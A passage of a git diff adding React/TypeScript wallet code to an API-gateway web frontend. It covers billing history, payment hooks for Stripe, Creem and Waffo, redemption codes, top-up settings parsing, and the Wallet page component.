index 0000000..b816ddb
--- /dev/null
+++ b/new-api/web/default/src/features/wallet/hooks/use-billing-history.ts
@@ -0,0 +1,144 @@
+import { useState, useEffect, useCallback } from 'react'
+import i18next from 'i18next'
+import { toast } from 'sonner'
+import { useIsAdmin } from '@/hooks/use-admin'
+import {
+  getUserBillingHistory,
+  getAllBillingHistory,
+  completeOrder,
+  isApiSuccess,
+} from '../api'
+import type { TopupRecord } from '../types'
+
+// ============================================================================
+// Billing History Hook
+// ============================================================================
+
+interface UseBillingHistoryOptions {
+  /** Initial page number */
+  initialPage?: number
+  /** Initial page size */
+  initialPageSize?: number
+}
+
+export function useBillingHistory(options: UseBillingHistoryOptions = {}) {
+  const { initialPage = 1, initialPageSize = 10 } = options
+  const isAdmin = useIsAdmin()
+
+  const [records, setRecords] = useState<TopupRecord[]>([])
+  const [total, setTotal] = useState(0)
+  const [page, setPage] = useState(initialPage)
+  const [pageSize, setPageSize] = useState(initialPageSize)
+  const [keyword, setKeyword] = useState('')
+  const [loading, setLoading] = useState(false)
+  const [completing, setCompleting] = useState(false)
+
+  /**
+   * Fetch billing history
+   */
+  const fetchBillingHistory = useCallback(async () => {
+    setLoading(true)
+    try {
+      const response = isAdmin
+        ? await getAllBillingHistory(page, pageSize, keyword)
+        : await getUserBillingHistory(page, pageSize, keyword)
+
+      if (isApiSuccess(response) && response.data) {
+        setRecords(response.data.items || [])
+        setTotal(response.data.total || 0)
+      } else {
+        toast.error(
+          response.message || i18next.t('Failed to load billing history')
+        )
+        setRecords([])
+        setTotal(0)
+      }
+    } catch (error) {
+      // eslint-disable-next-line no-console
+      console.error('Failed to fetch billing history:', error)
+      toast.error(i18next.t('Failed to load billing history'))
+      setRecords([])
+      setTotal(0)
+    } finally {
+      setLoading(false)
+    }
+  }, [isAdmin, page, pageSize, keyword])
+
+  /**
+   * Complete a pending order (admin only)
+   */
+  const handleCompleteOrder = useCallback(
+    async (tradeNo: string) => {
+      if (!isAdmin) {
+        toast.error(i18next.t('Admin access required'))
+        return false
+      }
+
+      setCompleting(true)
+      try {
+        const response = await completeOrder({ trade_no: tradeNo })
+        if (isApiSuccess(response)) {
+          toast.success(i18next.t('Order completed successfully'))
+          // Refresh the list
+          await fetchBillingHistory()
+          return true
+        } else {
+          toast.error(response.message || i18next.t('Failed to complete order'))
+          return false
+        }
+      } catch (error) {
+        // eslint-disable-next-line no-console
+        console.error('Failed to complete order:', error)
+        toast.error(i18next.t('Failed to complete order'))
+        return false
+      } finally {
+        setCompleting(false)
+      }
+    },
+    [isAdmin, fetchBillingHistory]
+  )
+
+  /**
+   * Change page
+   */
+  const handlePageChange = useCallback((newPage: number) => {
+    setPage(newPage)
+  }, [])
+
+  /**
+   * Change page size
+   */
+  const handlePageSizeChange = useCallback((newPageSize: number) => {
+    setPageSize(newPageSize)
+    setPage(1) // Reset to first page when changing page size
+  }, [])
+
+  /**
+   * Search by keyword
+   */
+  const handleSearch = useCallback((newKeyword: string) => {
+    setKeyword(newKeyword)
+    setPage(1) // Reset to first page when searching
+  }, [])
+
+  // Fetch data when dependencies change
+  useEffect(() => {
+    fetchBillingHistory()
+  }, [fetchBillingHistory])
+
+  return {
+    records,
+    total,
+    page,
+    pageSize,
+    keyword,
+    loading,
+    completing,
+    isAdmin,
+    handlePageChange,
+    handlePageSizeChange,
+    handleSearch,
+    handleCompleteOrder,
+    refresh: fetchBillingHistory,
+  }
+}
diff --git a/new-api/web/default/src/features/wallet/hooks/use-creem-payment.ts b/new-api/web/default/src/features/wallet/hooks/use-creem-payment.ts
new file mode 100644
index 0000000..1f83339
--- /dev/null
+++ b/new-api/web/default/src/features/wallet/hooks/use-creem-payment.ts
@@ -0,0 +1,37 @@
+import { useState, useCallback } from 'react'
+import i18next from 'i18next'
+import { toast } from 'sonner'
+import { requestCreemPayment, isApiSuccess } from '../api'
+
+/**
+ * Hook for handling Creem payment processing
+ */
+export function useCreemPayment() {
+  const [processing, setProcessing] = useState(false)
+
+  const processCreemPayment = useCallback(async (productId: string) => {
+    setProcessing(true)
+    try {
+      const response = await requestCreemPayment({
+        product_id: productId,
+        payment_method: 'creem',
+      })
+
+      if (isApiSuccess(response) && response.data?.checkout_url) {
+        window.open(response.data.checkout_url, '_blank')
+        toast.success(i18next.t('Redirecting to Creem checkout...'))
+        return true
+      }
+
+      toast.error(response.message || i18next.t('Payment request failed'))
+      return false
+    } catch (_error) {
+      toast.error(i18next.t('Payment request failed'))
+      return false
+    } finally {
+      setProcessing(false)
+    }
+  }, [])
+
+  return { processing, processCreemPayment }
+}
diff --git a/new-api/web/default/src/features/wallet/hooks/use-payment.ts b/new-api/web/default/src/features/wallet/hooks/use-payment.ts
new file mode 100644
index 0000000..41affb0
--- /dev/null
+++ b/new-api/web/default/src/features/wallet/hooks/use-payment.ts
@@ -0,0 +1,120 @@
+import { useState, useCallback } from 'react'
+import i18next from 'i18next'
+import { toast } from 'sonner'
+import {
+  calculateAmount,
+  calculateStripeAmount,
+  calculateWaffoPancakeAmount,
+  requestPayment,
+  requestStripePayment,
+  isApiSuccess,
+} from '../api'
+import {
+  isStripePayment,
+  isWaffoPancakePayment,
+  submitPaymentForm,
+} from '../lib'
+
+// ============================================================================
+// Payment Hook
+// ============================================================================
+
+export function usePayment() {
+  const [amount, setAmount] = useState<number>(0)
+  const [calculating, setCalculating] = useState(false)
+  const [processing, setProcessing] = useState(false)
+
+  // Calculate payment amount
+  const calculatePaymentAmount = useCallback(
+    async (topupAmount: number, paymentType: string) => {
+      try {
+        setCalculating(true)
+
+        const isStripe = isStripePayment(paymentType)
+        const isPancake = isWaffoPancakePayment(paymentType)
+        const response = isStripe
+          ? await calculateStripeAmount({ amount: topupAmount })
+          : isPancake
+            ? await calculateWaffoPancakeAmount({ amount: topupAmount })
+            : await calculateAmount({ amount: topupAmount })
+
+        if (isApiSuccess(response) && response.data) {
+          const calculatedAmount = parseFloat(response.data)
+          setAmount(calculatedAmount)
+          return calculatedAmount
+        }
+
+        // Don't show error for calculation, just set to 0
+        setAmount(0)
+        return 0
+      } catch (_error) {
+        setAmount(0)
+        return 0
+      } finally {
+        setCalculating(false)
+      }
+    },
+    []
+  )
+
+  // Process payment
+  const processPayment = useCallback(
+    async (topupAmount: number, paymentType: string) => {
+      try {
+        setProcessing(true)
+
+        const isStripe = isStripePayment(paymentType)
+        const amount = Math.floor(topupAmount)
+
+        const response = isStripe
+          ? await requestStripePayment({
+              amount,
+              payment_method: 'stripe',
+            })
+          : await requestPayment({
+              amount,
+              payment_method: paymentType,
+            })
+
+        if (!isApiSuccess(response)) {
+          toast.error(response.message || i18next.t('Payment request failed'))
+          return false
+        }
+
+        // Handle Stripe payment
+        if (isStripe && response.data?.pay_link) {
+          window.open(response.data.pay_link as string, '_blank')
+          toast.success(i18next.t('Redirecting to payment page...'))
+          return true
+        }
+
+        // Handle non-Stripe payment
+        if (!isStripe && response.data) {
+          const url = (response as unknown as { url?: string }).url
+          if (url) {
+            submitPaymentForm(url, response.data)
+            toast.success(i18next.t('Redirecting to payment page...'))
+            return true
+          }
+        }
+
+        return false
+      } catch (_error) {
+        toast.error(i18next.t('Payment request failed'))
+        return false
+      } finally {
+        setProcessing(false)
+      }
+    },
+    []
+  )
+
+  return {
+    amount,
+    calculating,
+    processing,
+    calculatePaymentAmount,
+    processPayment,
+    setAmount,
+  }
+}
diff --git a/new-api/web/default/src/features/wallet/hooks/use-redemption.ts b/new-api/web/default/src/features/wallet/hooks/use-redemption.ts
new file mode 100644
index 0000000..ebaee31
--- /dev/null
+++ b/new-api/web/default/src/features/wallet/hooks/use-redemption.ts
@@ -0,0 +1,50 @@
+import { useState, useCallback } from 'react'
+import i18next from 'i18next'
+import { toast } from 'sonner'
+import { getSelf } from '@/lib/api'
+import { formatQuota } from '@/lib/format'
+import { redeemTopupCode } from '../api'
+
+// ============================================================================
+// Redemption Hook
+// ============================================================================
+
+export function useRedemption() {
+  const [redeeming, setRedeeming] = useState(false)
+
+  const redeemCode = useCallback(async (code: string): Promise<boolean> => {
+    if (!code || code.trim() === '') {
+      toast.error(i18next.t('Please enter a redemption code'))
+      return false
+    }
+
+    try {
+      setRedeeming(true)
+      const response = await redeemTopupCode({ key: code })
+
+      if (response.success && response.data) {
+        const quotaAdded = response.data
+        toast.success(
+          i18next.t('Redemption successful! Added: {{quota}}', {
+            quota: formatQuota(quotaAdded),
+          })
+        )
+        await getSelf()
+        return true
+      }
+
+      toast.error(response.message || i18next.t('Redemption failed'))
+      return false
+    } catch (_error) {
+      toast.error(i18next.t('Redemption failed'))
+      return false
+    } finally {
+      setRedeeming(false)
+    }
+  }, [])
+
+  return {
+    redeeming,
+    redeemCode,
+  }
+}
diff --git a/new-api/web/default/src/features/wallet/hooks/use-topup-info.ts b/new-api/web/default/src/features/wallet/hooks/use-topup-info.ts
new file mode 100644
index 0000000..094cb0f
--- /dev/null
+++ b/new-api/web/default/src/features/wallet/hooks/use-topup-info.ts
@@ -0,0 +1,208 @@
+import { useState, useEffect } from 'react'
+import { getTopupInfo } from '../api'
+import {
+  generatePresetAmounts,
+  mergePresetAmounts,
+  getMinTopupAmount,
+} from '../lib'
+import type {
+  TopupInfo,
+  PresetAmount,
+  CreemProduct,
+  PaymentMethod,
+  WaffoPayMethod,
+} from '../types'
+
+// ============================================================================
+// Topup Info Hook
+// ============================================================================
+
+function parseJsonArray(data: unknown): unknown[] {
+  if (Array.isArray(data)) {
+    return data
+  }
+
+  if (typeof data === 'string') {
+    try {
+      const parsed = JSON.parse(data)
+      return Array.isArray(parsed) ? parsed : []
+    } catch {
+      return []
+    }
+  }
+
+  return []
+}
+
+function parsePaymentMethods(
+  data: unknown,
+  stripeMinTopup: number
+): PaymentMethod[] {
+  return parseJsonArray(data)
+    .filter(
+      (item): item is Record<string, unknown> =>
+        !!item && typeof item === 'object'
+    )
+    .map((item) => {
+      const rawMinTopup = Number(item.min_topup)
+      const normalizedMinTopup = Number.isFinite(rawMinTopup) ? rawMinTopup : 0
+      const type = typeof item.type === 'string' ? item.type : ''
+
+      return {
+        name: typeof item.name === 'string' ? item.name : '',
+        type,
+        color: typeof item.color === 'string' ? item.color : undefined,
+        min_topup:
+          type === 'stripe' && normalizedMinTopup <= 0
+            ? stripeMinTopup
+            : normalizedMinTopup,
+      }
+    })
+    .filter((item) => item.name && item.type && item.type !== 'waffo')
+}
+
+function parseWaffoPayMethods(data: unknown): WaffoPayMethod[] {
+  return parseJsonArray(data)
+    .filter(
+      (item): item is Record<string, unknown> =>
+        !!item && typeof item === 'object'
+    )
+    .map((item) => ({
+      name: typeof item.name === 'string' ? item.name : '',
+      icon: typeof item.icon === 'string' ? item.icon : undefined,
+      payMethodType:
+        typeof item.payMethodType === 'string' ? item.payMethodType : undefined,
+      payMethodName:
+        typeof item.payMethodName === 'string' ? item.payMethodName : undefined,
+    }))
+    .filter((item) => item.name)
+}
+
+function parseCreemProducts(data: unknown): CreemProduct[] {
+  return parseJsonArray(data)
+    .filter(
+      (item): item is Record<string, unknown> =>
+        !!item && typeof item === 'object'
+    )
+    .map((item) => {
+      const currency: CreemProduct['currency'] =
+        item.currency === 'EUR' ? 'EUR' : 'USD'
+
+      return {
+        name: typeof item.name === 'string' ? item.name : '',
+        productId: typeof item.productId === 'string' ? item.productId : '',
+        price: Number(item.price) || 0,
+        quota: Number(item.quota) || 0,
+        currency,
+      }
+    })
+    .filter((item) => item.name && item.productId)
+}
+
+function parseAmountOptions(data: unknown): number[] {
+  return parseJsonArray(data)
+    .map((item) => Number(item))
+    .filter((item) => Number.isFinite(item) && item > 0)
+}
+
+function parseDiscountMap(data: unknown): Record<number, number> {
+  if (!data) {
+    return {}
+  }
+
+  let parsedData = data
+
+  if (typeof data === 'string') {
+    try {
+      parsedData = JSON.parse(data)
+    } catch {
+      return {}
+    }
+  }
+
+  if (
+    !parsedData ||
+    typeof parsedData !== 'object' ||
+    Array.isArray(parsedData)
+  ) {
+    return {}
+  }
+
+  return Object.entries(parsedData).reduce<Record<number, number>>(
+    (result, [key, value]) => {
+      const numericKey = Number(key)
+      const numericValue = Number(value)
+
+      if (Number.isFinite(numericKey) && Number.isFinite(numericValue)) {
+        result[numericKey] = numericValue
+      }
+
+      return result
+    },
+    {}
+  )
+}
+
+export function useTopupInfo() {
+  const [topupInfo, setTopupInfo] = useState<TopupInfo | null>(null)
+  const [presetAmounts, setPresetAmounts] = useState<PresetAmount[]>([])
+  const [loading, setLoading] = useState(true)
+
+  const fetchTopupInfo = async () => {
+    try {
+      setLoading(true)
+
+      const response = await getTopupInfo()
+
+      if (!response.success || !response.data) {
+        // eslint-disable-next-line no-console
+        console.error('Failed to fetch topup info:', response.message)
+        return
+      }
+
+      const processedData: TopupInfo = {
+        ...response.data,
+        pay_methods: parsePaymentMethods(
+          response.data.pay_methods,
+          response.data.stripe_min_topup
+        ),
+        amount_options: parseAmountOptions(response.data.amount_options),
+        discount: parseDiscountMap(response.data.discount),
+        creem_products: parseCreemProducts(response.data.creem_products),
+        waffo_pay_methods: parseWaffoPayMethods(
+          response.data.waffo_pay_methods
+        ),
+      }
+
+      setTopupInfo(processedData)
+
+      if (processedData.amount_options.length > 0) {
+        const customPresets = mergePresetAmounts(
+          processedData.amount_options,
+          processedData.discount || {}
+        )
+        setPresetAmounts(customPresets)
+      } else {
+        const minTopup = getMinTopupAmount(processedData)
+        const defaultPresets = generatePresetAmounts(minTopup)
+        setPresetAmounts(defaultPresets)
+      }
+    } catch (err) {
+      // eslint-disable-next-line no-console
+      console.error('Failed to fetch topup info:', err)
+    } finally {
+      setLoading(false)
+    }
+  }
+
+  useEffect(() => {
+    fetchTopupInfo()
+  }, [])
+
+  return {
+    topupInfo,
+    presetAmounts,
+    loading,
+    refetch: fetchTopupInfo,
+  }
+}
diff --git a/new-api/web/default/src/features/wallet/hooks/use-waffo-pancake-payment.ts b/new-api/web/default/src/features/wallet/hooks/use-waffo-pancake-payment.ts
new file mode 100644
index 0000000..7f0186e
--- /dev/null
+++ b/new-api/web/default/src/features/wallet/hooks/use-waffo-pancake-payment.ts
@@ -0,0 +1,89 @@
+import { useState, useCallback } from 'react'
+import i18next from 'i18next'
+import { toast } from 'sonner'
+import { requestWaffoPancakePayment, isApiSuccess } from '../api'
+
+function getCheckoutUrl(data: unknown): string | null {
+  if (!data || typeof data !== 'object') {
+    return null
+  }
+
+  if ('checkout_url' in data && typeof data.checkout_url === 'string') {
+    return data.checkout_url
+  }
+
+  return null
+}
+
+/**
+ * Reject non-navigable schemes (e.g. javascript:, data:) and relative URLs.
+ * Only http/https are allowed for backend-provided redirect targets.
+ */
+function isSafeHttpCheckoutUrl(value: string): boolean {
+  const trimmed = value.trim()
+  if (!trimmed) {
+    return false
+  }
+  try {
+    const u = new URL(trimmed)
+    return u.protocol === 'http:' || u.protocol === 'https:'
+  } catch {
+    return false
+  }
+}
+
+function getErrorMessage(message: string | undefined, data: unknown): string {
+  if (typeof data === 'string' && data.trim()) {
+    return data
+  }
+
+  return message || i18next.t('Payment request failed')
+}
+
+/**
+ * Hook for handling Waffo Pancake payment processing
+ *
+ * Pancake uses a hosted checkout URL flow rather than the generic epay form
+ * submission, so we open the returned URL in a new tab once the backend
+ * returns a successful response.
+ */
+export function useWaffoPancakePayment() {
+  const [processing, setProcessing] = useState(false)
+
+  const processWaffoPancakePayment = useCallback(
+    async (topupAmount: number) => {
+      setProcessing(true)
+
+      try {
+        const response = await requestWaffoPancakePayment({
+          amount: Math.floor(topupAmount),
+        })
+
+        if (isApiSuccess(response)) {
+          const checkoutUrl = getCheckoutUrl(response.data)
+
+          if (checkoutUrl) {
+            if (!isSafeHttpCheckoutUrl(checkoutUrl)) {
+              toast.error(i18next.t('Invalid payment redirect URL'))
+              return false
+            }
+            window.open(checkoutUrl, '_blank', 'noopener,noreferrer')
+            toast.success(i18next.t('Redirecting to payment page...'))
+            return true
+          }
+        }
+
+        toast.error(getErrorMessage(response.message, response.data))
+        return false
+      } catch (_error) {
+        toast.error(i18next.t('Payment request failed'))
+        return false
+      } finally {
+        setProcessing(false)
+      }
+    },
+    []
+  )
+
+  return { processing, processWaffoPancakePayment }
+}
diff --git a/new-api/web/default/src/features/wallet/hooks/use-waffo-payment.ts b/new-api/web/default/src/features/wallet/hooks/use-waffo-payment.ts
new file mode 100644
index 0000000..e417777
--- /dev/null
+++ b/new-api/web/default/src/features/wallet/hooks/use-waffo-payment.ts
@@ -0,0 +1,65 @@
+import { useState, useCallback } from 'react'
+import i18next from 'i18next'
+import { toast } from 'sonner'
+import { requestWaffoPayment, isApiSuccess } from '../api'
+
+function getPaymentUrl(data: unknown): string | null {
+  if (!data || typeof data !== 'object') {
+    return null
+  }
+
+  if ('payment_url' in data && typeof data.payment_url === 'string') {
+    return data.payment_url
+  }
+
+  return null
+}
+
+function getErrorMessage(message: string | undefined, data: unknown): string {
+  if (typeof data === 'string' && data.trim()) {
+    return data
+  }
+
+  return message || i18next.t('Payment request failed')
+}
+
+/**
+ * Hook for handling Waffo payment processing
+ */
+export function useWaffoPayment() {
+  const [processing, setProcessing] = useState(false)
+
+  const processWaffoPayment = useCallback(
+    async (topupAmount: number, payMethodIndex?: number) => {
+      setProcessing(true)
+
+      try {
+        const response = await requestWaffoPayment({
+          amount: Math.floor(topupAmount),
+          pay_method_index: payMethodIndex,
+        })
+
+        if (isApiSuccess(response)) {
+          const paymentUrl = getPaymentUrl(response.data)
+
+          if (paymentUrl) {
+            window.open(paymentUrl, '_blank')
+            toast.success(i18next.t('Redirecting to payment page...'))
+            return true
+          }
+        }
+
+        toast.error(getErrorMessage(response.message, response.data))
+        return false
+      } catch (_error) {
+        toast.error(i18next.t('Payment request failed'))
+        return false
+      } finally {
+        setProcessing(false)
+      }
+    },
+    []
+  )
+
+  return { processing, processWaffoPayment }
+}
diff --git a/new-api/web/default/src/features/wallet/index.tsx b/new-api/web/default/src/features/wallet/index.tsx
new file mode 100644
index 0000000..b467e85
--- /dev/null
+++ b/new-api/web/default/src/features/wallet/index.tsx
@@ -0,0 +1,330 @@
+import { useState, useEffect, useCallback, useMemo } from 'react'
+import { useTranslation } from 'react-i18next'
+import { getSelf } from '@/lib/api'
+import { useStatus } from '@/hooks/use-status'
+import { useSystemConfig } from '@/hooks/use-system-config'
+import { SectionPageLayout } from '@/components/layout'
+import { AffiliateRewardsCard } from './components/affiliate-rewards-card'
+import { BillingHistoryDialog } from './components/dialogs/billing-history-dialog'
+import { CreemConfirmDialog } from './components/dialogs/creem-confirm-dialog'
+import { PaymentConfirmDialog } from './components/dialogs/payment-confirm-dialog'
+import { TransferDialog } from './components/dialogs/transfer-dialog'
+import { RechargeFormCard } from './components/recharge-form-card'
+import { SubscriptionPlansCard } from './components/subscription-plans-card'
+import { WalletStatsCard } from './components/wallet-stats-card'
+import { DEFAULT_DISCOUNT_RATE } from './constants'
+import {
+  useTopupInfo,
+  usePayment,
+  useAffiliate,
+  useRedemption,
+  useCreemPayment,
+  useWaffoPayment,
+  useWaffoPancakePayment,
+} from './hooks'
+import {
+  getDefaultPaymentType,
+  getMinTopupAmount,
+  isWaffoPancakePayment,
+} from './lib'
+import type {
+  UserWalletData,
+  PaymentMethod,
+  PresetAmount,
+  CreemProduct,
+} from './types'
+
+interface WalletProps {
+  initialShowHistory?: boolean
+}
+
+export function Wallet(props: WalletProps) {
+  const { t } = useTranslation()
+  const [user, setUser] = useState<UserWalletData | null>(null)
+  const [userLoading, setUserLoading] = useState(true)
+  const [topupAmount, setTopupAmount] = useState(0)
+  const [selectedPreset, setSelectedPreset] = useState<number | null>(null)
+  const [selectedPaymentMethod, setSelectedPaymentMethod] =
+    useState<PaymentMethod>()
+  const [paymentLoading, setPaymentLoading] = useState<string | null>(null)
+  const [confirmDialogOpen, setConfirmDialogOpen] = useState(false)
+  const [transferDialogOpen, setTransferDialogOpen] = useState(false)
+  const [billingDialogOpen, setBillingDialogOpen] = useState(false)
+  const [redemptionCode, setRedemptionCode] = useState('')
+  const [creemDialogOpen, setCreemDialogOpen] = useState(false)
+  const [selectedCreemProduct, setSelectedCreemProduct] =
+    useState<CreemProduct | null>(null)
+
+  const { status } = useStatus()
+  const { currency } = useSystemConfig()
+  const { topupInfo, presetAmounts, loading: topupLoading } = useTopupInfo()
+
+  // Calculate effective exchange rate - when display type is USD, use rate of 1
+  const effectiveUsdExchangeRate = useMemo(() => {
+    return currency?.quotaDisplayType === 'USD'
+      ? 1
+      : currency?.usdExchangeRate || 1
+  }, [currency?.quotaDisplayType, currency?.usdExchangeRate])
+  const {
+    amount: paymentAmount,
+    calculating,
+    processing,
+    calculatePaymentAmount,
+    processPayment,
+  } = usePayment()
+  const {
+    affiliateLink,
+    loading: affiliateLoading,
+    transferQuota,
+    transferring,
+  } = useAffiliate()
+  const { redeeming, redeemCode } = useRedemption()
+  const { processing: creemProcessing, processCreemPayment } = useCreemPayment()
+  const { processWaffoPayment } = useWaffoPayment()
+  const { processing: pancakeProcessing, processWaffoPancakePayment } =
+    useWaffoPancakePayment()
+
+  // Fetch and refresh user data
+  const fetchUser = useCallback(async () => {
+    try {
+      setUserLoading(true)
+      const response = await getSelf()
+      if (response.success && response.data) {
+        setUser(response.data as UserWalletData)
+      }
+    } catch (error) {
+      // eslint-disable-next-line no-console
+      console.error('Failed to fetch user data:', error)
+    } finally {
+      setUserLoading(false)
+    }
+  }, [])
+
+  useEffect(() => {
+    fetchUser()
+  }, [fetchUser])
+
+  useEffect(() => {
+    if (props.initialShowHistory) {
+      setBillingDialogOpen(true)
+      window.history.replaceState({}, '', window.location.pathname)
+    }
+  }, [props.initialShowHistory])
+
+  // Initialize topup amount when topup info is loaded
+  useEffect(() => {
+    if (topupInfo && topupAmount === 0) {
+      const minTopup = getMinTopupAmount(topupInfo)
+      setTopupAmount(minTopup)
+
+      // Calculate initial payment amount with default payment type
+      const defaultPaymentType = getDefaultPaymentType(topupInfo)
+      calculatePaymentAmount(minTopup, defaultPaymentType)
+    }
+  }, [topupInfo, topupAmount, calculatePaymentAmount])
+
+  // Get current payment type (selected or default)
+  const getCurrentPaymentType = useCallback(() => {
+    return selectedPaymentMethod?.type || getDefaultPaymentType(topupInfo)
+  }, [selectedPaymentMethod, topupInfo])
+
+  // Handle preset selection
+  const handleSelectPreset = (preset: PresetAmount) => {
+    setTopupAmount(preset.value)
+    setSelectedPreset(preset.value)
+    calculatePaymentAmount(preset.value, getCurrentPaymentType())
+  }
+
+  // Handle topup amount change
+  const handleTopupAmountChange = (amount: number) => {
+    setTopupAmount(amount)
+    setSelectedPreset(null)
+    calculatePaymentAmount(amount, getCurrentPaymentType())
+  }
+
+  // Handle payment method selection
+  const handlePaymentMethodSelect = async (method: PaymentMethod) => {
+    setSelectedPaymentMethod(method)
+    setPaymentLoading(method.type)
+
+    try {
+      // Validate minimum topup
+      const minTopup = getMinTopupAmount(topupInfo)
+      if (topupAmount < minTopup) {
+        return
+      }
+
+      // Calculate payment amount and show confirmation dialog
+      await calculatePaymentAmount(topupAmount, method.type)
+      setConfirmDialogOpen(true)
+    } finally {
+      setPaymentLoading(null)
+    }
+  }
+
+  // Handle payment confirmation
+  const handlePaymentConfirm = async () => {
+    if (!selectedPaymentMethod) return
+
+    const isPancake = isWaffoPancakePayment(selectedPaymentMethod.type)
+    const success = isPancake
+      ? await processWaffoPancakePayment(topupAmount)
+      : await processPayment(topupAmount, selectedPaymentMethod.type)
+
+    if (success) {
+      setConfirmDialogOpen(false)
+      await fetchUser()
+    }
+  }
+
+  // Handle redemption
+  const handleRedeem = async () => {
+    if (!redemptionCode) return
+
+    const success = await redeemCode(redemptionCode)
+    if (success) {
+      setRedemptionCode('')
+      await fetchUser()
+    }
+  }
+
+  // Handle transfer
+  const handleTransfer = async (amount: number) => {
+    const success = await transferQuota(amount)
+    if (success) {
+      await fetchUser()
+    }
+    return success
+  }
+
+  // Handle Creem product selection
+  const handleCreemProductSelect = (product: CreemProduct) => {
+    setSelectedCreemProduct(product)
+    setCreemDialogOpen(true)
+  }
+
+  // Handle Creem payment confirmation
+  const handleCreemConfirm = async () => {
+    if (!selectedCreemProduct) return
+
+    const success = await processCreemPayment(selectedCreemProduct.productId)
+    if (success) {
+      setCreemDialogOpen(false)
+      setSelectedCreemProduct(null)
+      await fetchUser()
+    }
+  }
+
+  const handleWaffoMethodSelect = async (_method: unknown, index: number) => {
+    const loadingKey = `waffo-${index}`
+    setPaymentLoading(loadingKey)
+
+    try {
+      await processWaffoPayment(topupAmount, index)
+    } finally {
+      setPaymentLoading(null)
+    }
+  }
+
+  // Get discount rate for current topup amount
+  const getDiscountRate = useCallback(() => {
+    return topupInfo?.discount?.[topupAmount] || DEFAULT_DISCOUNT_RATE
+  }, [topupInfo, topupAmount])
+
+  return (
+    <>
+      <SectionPageLayout>
+        <SectionPageLayout.Title>{t('Wallet')}</SectionPageLayout.Title>
+        <SectionPageLayout.Description>
+          {t('Manage your balance and payment methods')}
+        </SectionPageLayout.Description>
+        <SectionPageLayout.Content>
+          <div className='mx-auto flex w-full max-w-7xl flex-col gap-4'>
+            <WalletStatsCard user={user} loading={userLoading} />
+
+            <SubscriptionPlansCard topupInfo={topupInfo} />
+
+            <div className='grid gap-5 xl:grid-cols-[minmax(0,1fr)_minmax(340px,0.4fr)] xl:items-start'>
+              <div className='min-w-0'>
+                <RechargeFormCard
+                  topupInfo={topupInfo}
+                  presetAmounts={presetAmounts}
+                  selectedPreset={selectedPreset}
+                  onSelectPreset={handleSelectPreset}
+                  topupAmount={topupAmount}
+                  onTopupAmountChange={handleTopupAmountChange}
+                  paymentAmount={paymentAmount}
+                  calculating={calculating}
+                  onPaymentMethodSelect={handlePaymentMethodSelect}
+                  paymentLoading={paymentLoading}
+                  redemptionCode={redemptionCode}
+                  onRedemptionCodeChange={setRedemptionCode}
+                  onRedeem={handleRedeem}
+                  redeeming={redeeming}
+                  topupLink={topupInfo?.topup_link}
+                  loading={topupLoading}
+                  priceRatio={(status?.price as number) || 1}
+                  usdExchangeRate={effectiveUsdExchangeRate}
+                  onOpenBilling={() => setBillingDialogOpen(true)}
+                  creemProducts={topupInfo?.creem_products}
+                  enableCreemTopup={topupInfo?.enable_creem_topup}
+                  onCreemProductSelect={handleCreemProductSelect}
+                  enableWaffoTopup={topupInfo?.enable_waffo_topup}
+                  waffoPayMethods={topupInfo?.waffo_pay_methods}
+                  waffoMinTopup={topupInfo?.waffo_min_topup}
+                  onWaffoMethodSelect={handleWaffoMethodSelect}
+                  enableWaffoPancakeTopup={
+                    topupInfo?.enable_waffo_pancake_topup
+                  }
+                />
+              </div>
+
+              <div className='xl:sticky xl:top-6'>
+                <AffiliateRewardsCard
+                  user={user}
+                  affiliateLink={affiliateLink}
+                  onTransfer={() => setTransferDialogOpen(true)}
+                  loading={affiliateLoading}
+                />
+              </div>
+            </div>
+          </div>
+        </SectionPageLayout.Content>
+      </SectionPageLayout>
+
+      <PaymentConfirmDialog
+        open={confirmDialogOpen}
+        onOpenChange={setConfirmDialogOpen}
+        onConfirm={handlePaymentConfirm}
+        topupAmount={topupAmount}
+        paymentAmount={paymentAmount}
+        paymentMethod={selectedPaymentMethod}
+        calculating={calculating}
+        processing={processing || pancakeProcessing}
+        discountRate={getDiscountRate()}
+        usdExchangeRate={effectiveUsdExchangeRate}
+      />
+
+      <TransferDialog
+        open={transferDialogOpen}
+        onOpenChange={setTransferDialogOpen}
+        onConfirm={handleTransfer}
+        availableQuota={user?.aff_quota ?? 0}
+        transferring={transferring}
+      />
+
+      <BillingHistoryDialog
+        open={billingDialogOpen}
+        onOpenChange={setBillingDialogOpen}
+      />
+
+      <CreemConfirmDialog
+        open={creemDialogOpen}
+        onOpenChange={setCreemDialogOpen}
+        onConfirm={handleCreemConfirm}
+        product={selectedCreemProduct}
+        processing={creemProcessing}
+      />
+    </>
+  )
+}
diff --git a/new-api/web/default/src/features/wallet/lib/affiliate.ts b/new-api/web/default/src/features/wallet/lib/affiliate.ts
new file mode 100644
index 0000000..45911af
--- /dev/null
+++ b/new-api/web/default/src/features/wallet/lib/affiliate.ts
@@ -0,0 +1,11 @@
+// ============================================================================
+// Affiliate Functions
+// ============================================================================
+
+/**
+ * Generate affiliate registration link
+ */
+export function generateAffiliateLink(affCode: string): string {
+  if (typeof window === 'undefined') return ''
+  return `${window.location.origin}/register?aff=${affCode}`
+}
diff --git a/new-api/web/default/src/features/wallet/lib/billing.ts b/new-api/web/default/src/features/wallet/lib/billing.ts
new file mode 100644
index 0000000..0c0589a
--- /dev/null
+++ b/new-api/web/default/src/features/wallet/lib/billing.ts
@@ -0,0 +1,61 @@
+import { formatTimestampToDate } from '@/lib/format'
+import type { StatusBadgeProps } from '@/components/status-badge'
+import type { TopupStatus } from '../types'
+
+// ============================================================================
+// Billing Utility Functions
+// ============================================================================
+
+interface StatusConfig {
+  variant: StatusBadgeProps['variant']
+  label: string
+}
+
+/**
+ * Status badge configuration
+ */
+export const STATUS_CONFIG: Record<TopupStatus, StatusConfig> = {
+  success: {
+    variant: 'success',
+    label: 'Success',
+  },
+  pending: {
+    variant: 'warning',
+    label: 'Pending',
+  },
+  expired: {
+    variant: 'danger',
+    label: 'Expired',
+  },
+}
+
+/**
+ * Get status badge configuration
+ */
+export function getStatusConfig(status: TopupStatus): StatusConfig {
+  return STATUS_CONFIG[status] || STATUS_CONFIG.pending
+}
+
+/**
+ * Payment method display names
+ */
+export const PAYMENT_METHOD_NAMES: Record<string, string> = {
+  stripe: 'Stripe',
+  alipay: 'Alipay',
+  wxpay: 'WeChat Pay',
+  waffo: 'Waffo',
+}
+
+/**
+ * Get payment method display name
+ */
+export function getPaymentMethodName(method: string): string {
+  return PAYMENT_METHOD_NAMES[method] || method
+}
+
+/**
